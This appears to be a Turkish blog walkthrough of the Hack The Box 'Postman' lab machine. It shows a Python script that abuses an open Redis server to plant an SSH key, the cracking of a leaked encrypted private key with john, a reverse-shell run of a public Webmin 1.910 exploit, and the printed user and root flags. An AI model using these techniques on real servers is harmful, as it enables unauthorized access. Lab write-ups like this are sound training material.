        print("\t SSH Keys Need to be Generated", 'blue')
        os.system('ssh-keygen -t rsa -C \"acid_creative\"')
        print("\t Keys Generated Successfully", "blue")
        os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo  \'\r\n\') > $HOME/.ssh/public_key.txt")
        cmd = "redis-cli -h " + ip_address + ' flushall'
        cmd1 = "redis-cli -h " + ip_address
        os.system(cmd)
        cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " +  ip_address + ' -x set cracklist'
        os.system(cmd2)
        cmd3 = cmd1 + ' config set dbfilename "backup.db" '
        cmd4 = cmd1 + ' config set  dir' + " /home/"+username+"/.ssh/"
        cmd5 = cmd1 + ' config set dbfilename "authorized_keys" '
        cmd6 = cmd1 + ' save'
        os.system(cmd3)
        os.system(cmd4)
        os.system(cmd5)
        os.system(cmd6)
        print("\tYou'll get shell in sometime..Thanks for your patience")
        ssh_connection()

    except:
        print("Something went wrong")
else:
    print("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.")


┌──(root💀kali)-[~/oscp/htb/Postman]
└─# python3 redis.py 10.10.10.160 redis                                                                          1 ⨯
    *******************************************************************
    * [+] [Exploit] Exploiting misconfigured REDIS SERVER*
    * [+] AVINASH KUMAR THAPA aka "-Acid"                                
    *******************************************************************

     SSH Keys Need to be Generated blue
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:P0ijaFQYFMCGMh3gzzo+VvrFe4txspauc15pLpVjeEI acid_creative
The key's randomart image is:
+---[RSA 3072]----+
|.=o++.           |
|= +  o           |
|.+  . .          |
|  o  E           |
|   oo . S        |
|  .o.+ O.+       |
| oo o=B=o o      |
|.+.o.=@.   .     |
|..ooB*oo.        |
+----[SHA256]-----+
     Keys Generated Successfully blue
OK
OK
OK
(error) ERR Changing directory: Permission denied
OK
OK
    You'll get shell in sometime..Thanks for your patience
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)
redis@Postman:~$

Enum yaparken linpeas.sh'ı kullandım ve bir id_rsa dosyası keşfettim. Bu dosya Matt kullanıcısına aitti.


╔══════════╣ Analyzing SSH Files (limit 70)
id_dsa* Not Found

-rwxr-xr-x 1 Matt Matt 1743 Aug 26  2019 /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----


redis@Postman:/var/backups$ cd /opt
redis@Postman:/opt$ ls
total 12
drwxr-xr-x  2 root root 4096 Sep 11  2019 .
drwxr-xr-x 22 root root 4096 Sep 30  2020 ..
-rwxr-xr-x  1 Matt Matt 1743 Aug 26  2019 id_rsa.bak

Dosyayı kalimde düzenledim ve kullanmayı denediğimde şifreli olduğunu gördüm.


┌──(root💀kali)-[~/oscp/htb/Postman]
└─# cat id_rsa                                                                                                 130 ⨯
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----


┌──(root💀kali)-[~/oscp/htb/Postman]
└─# ssh [email protected] -i id_rsa
Enter passphrase for key 'id_rsa':

john ile kırmayı denedim.


┌──(root💀kali)-[~/oscp/htb/Postman]
└─# john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt                                                 1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:09 DONE (2021-08-13 10:08) 0.1066g/s 1528Kp/s 1528Kc/s 1528KC/sa6_123..*7¡Vamos!
Session completed

Ancak giriş yaparken direkt olarak bağlantı kopuyordu... Bunun sebebi /etc/ssh/sshd_config dosyasında gizli...

#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

#deny users
DenyUsers Matt

# no default banner path
#Banner none

Bende normal terminal üzerinden denedim.

redis@Postman:/tmp$ su Math
No passwd entry for user 'Math'
redis@Postman:/tmp$ 
redis@Postman:/tmp$ 
redis@Postman:/tmp$ su Matt
Password: 
Matt@Postman:/tmp$ 

Matt@Postman:/home$ cd Matt/
Matt@Postman:~$ ls
total 52
drwxr-xr-x 6 Matt Matt 4096 Sep 11  2019 .
drwxr-xr-x 3 root root 4096 Sep 11  2019 ..
-rw------- 1 Matt Matt 1676 Sep 11  2019 .bash_history
-rw-r--r-- 1 Matt Matt  220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 Matt Matt 3771 Aug 25  2019 .bashrc
drwx------ 2 Matt Matt 4096 Aug 25  2019 .cache
drwx------ 3 Matt Matt 4096 Aug 25  2019 .gnupg
drwxrwxr-x 3 Matt Matt 4096 Aug 25  2019 .local
-rw-r--r-- 1 Matt Matt  807 Aug 25  2019 .profile
-rw-rw-r-- 1 Matt Matt   66 Aug 26  2019 .selected_editor
drwx------ 2 Matt Matt 4096 Aug 26  2019 .ssh
-rw-rw---- 1 Matt Matt   33 Aug 13 13:57 user.txt
-rw-rw-r-- 1 Matt Matt  181 Aug 25  2019 .wget-hsts
Matt@Postman:~$ cat user.txt 
a8b2850f9332c0132ab8c7efc7718680

Enum yapmaya devam ederken root yetkilerde çalışan process'leri kontrol ettim.


[*] pro020 Processes running with root permissions......................... yes!
---
START      PID     USER COMMAND
15:57    53954     root /usr/share/webmin/webmincron/webmincron.pl
15:57    47223     root sudo -S -l
15:46    30788     root su Matt
13:57      724     root /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
13:57      644     root /usr/sbin/apache2 -k start
13:57      638     root /sbin/agetty -o -p -- \u --noclear tty1 linux
13:57      611     root /usr/sbin/sshd -D
13:57      350     root /usr/lib/accountsservice/accounts-daemon
13:57      349     root /usr/sbin/cron -f
13:57      348     root /lib/systemd/systemd-logind
13:57      347     root /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
13:57      330     root /usr/bin/vmtoolsd
13:57      327     root /usr/bin/VGAuthService
13:57      249     root /lib/systemd/systemd-udevd
13:57      227     root /lib/systemd/systemd-journald
13:57        1     root /sbin/init splash

Webminde elde ettiğim Matt kullanıcısını denediğimde başarılı oldum. Bunun üzerine internette exploit var mıd iye aramaya başladım. https://github.com/roughiz/Webmin-1.910-Exploit-Script adresindeki exploiti kullandım.


┌──(root💀kali)-[~/oscp/htb/Postman/Webmin-1.910-Exploit-Script]
└─# python webmin_exploit.py --rhost 10.10.10.160 --rport 10000 --lhost 10.10.14.12 --lport 1111 -u Matt -p computer2008 -s True
****************************** Webmin 1.910 Exploit By roughiz*******************************
*********************************************************************************************
*********************************************************************************************
*********************************************************************************************
****************************** Retrieve Cookies sid *****************************************

********** [+] [Exploit] The Cookie is 65b57a92d193aa2574a509b6706cc2aa

********************************************************************************************
****************************** Create payload and Exploit ***********************************

********** [+] [Exploit] Verify you nc listener on port 1111 for the incomming reverse shell


┌──(root💀kali)-[~/oscp/htb/Postman/Webmin-1.910-Exploit-Script]
└─# nc -lvp 1111                                                                                                 1 ⨯
listening on [any] 1111 ...
connect to [10.10.14.12] from Postman [10.10.10.160] 42440
ls /root
redis-5.0.0
root.txt
cat /root/root.txt
745eb382730474e84e231084b43b2bfb
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir